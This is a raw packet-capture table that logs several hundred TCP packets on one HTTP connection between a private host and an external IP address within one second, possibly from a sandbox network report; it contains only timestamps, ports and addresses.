Oct 12, 2024 14:17:10.588252068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588268995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588282108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588299990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588315010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588331938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588345051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588366985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588376999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588398933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588424921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588432074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588444948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588464022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588490963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588500977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588510036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588531971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588555098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588562965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588576078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588594913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588618994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588627100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588639021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588656902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588679075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588689089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588699102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588720083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588742018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588752031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588762045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588783026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588804007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588814974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588828087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588845015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588860035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588876963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588890076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588907957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588923931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588943005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588953018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.588974953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.588994980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589009047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.589020014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589040995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.589054108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589072943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.589098930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589104891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.589118004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589138031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.589153051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.589181900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.674766064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674813032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674844980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674875975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674892902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674909115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674926043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674941063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674957037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674973011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.674988985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675004005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675021887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675051928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675098896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675151110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675184011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675214052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675250053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675247908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675247908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675318956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675328016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675369024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675404072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675436020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675486088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675533056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675564051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675595045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675625086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675672054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675705910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675740957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675772905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675770044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675770998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675770998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675770998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675770998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675770998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675801992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675833941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675860882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675862074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675862074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675863981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675888062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675895929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675908089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675926924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675940990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675957918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.675971031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.675990105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676017046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676022053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676034927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676057100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676079988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676109076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676135063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676156998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676187038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676188946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676204920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676220894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676249981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676270008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676270962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676301956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676336050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676347971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676347971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676366091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676388979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676398993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676424026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676430941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676443100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676481962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676485062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676528931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676541090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676561117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676588058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676593065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676616907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676640034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676644087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676671982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676700115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676702976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676726103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676734924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676755905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676779032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676781893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676814079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676836014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676862001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676872015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676892996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676918030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676939964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.676945925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.676978111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677002907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677009106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677033901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677040100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677052975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677072048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677098989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677103996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677119017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677136898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677160025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677167892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677191019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677200079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677221060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677229881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677253008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677263975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677278042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677295923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677311897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677326918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677350998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677357912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677377939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677388906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677411079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677419901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677442074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677450895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677473068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677481890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677505970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677515984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677524090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677546978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677576065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677577972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677592993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677608967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677632093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677640915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677664042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677671909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677699089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677702904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677728891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677732944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677756071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677764893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677777052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677795887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677818060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677826881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677850962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677858114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677879095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677889109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677915096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677921057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677942991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677954912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.677969933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.677985907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678009033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678018093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678039074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678050041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678065062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678081036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678103924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678112984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678138971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678145885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678169966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678177118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678200960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678209066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678231001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678236961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678263903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678270102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678299904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678303003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678324938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678333044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678355932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678365946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678379059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678396940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678419113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678430080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678445101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678461075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678478003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678493977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.678517103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.678539991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.763849974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.763916969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.763950109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.763972044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.763989925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764004946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764022112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764036894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764053106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764107943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764141083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764190912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764224052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764260054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764292002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764305115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764306068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764306068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764306068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764322996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764378071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764425039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764456034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764488935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764518976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764527082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764527082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764527082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764527082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764554977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764604092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764635086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764683008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764729977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764761925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764766932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764767885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764767885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764767885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764792919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764799118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764818907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764825106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764837980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764856100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764899969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764909983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764914036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764939070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764952898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764955044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.764969110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764986992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.764988899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765002966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765016079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765019894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765032053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765039921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765047073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765059948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765062094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765075922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765090942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765096903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765105009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765119076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765131950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765146017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765142918 CEST	49730	80	192.168.2.4	178.63.215.77
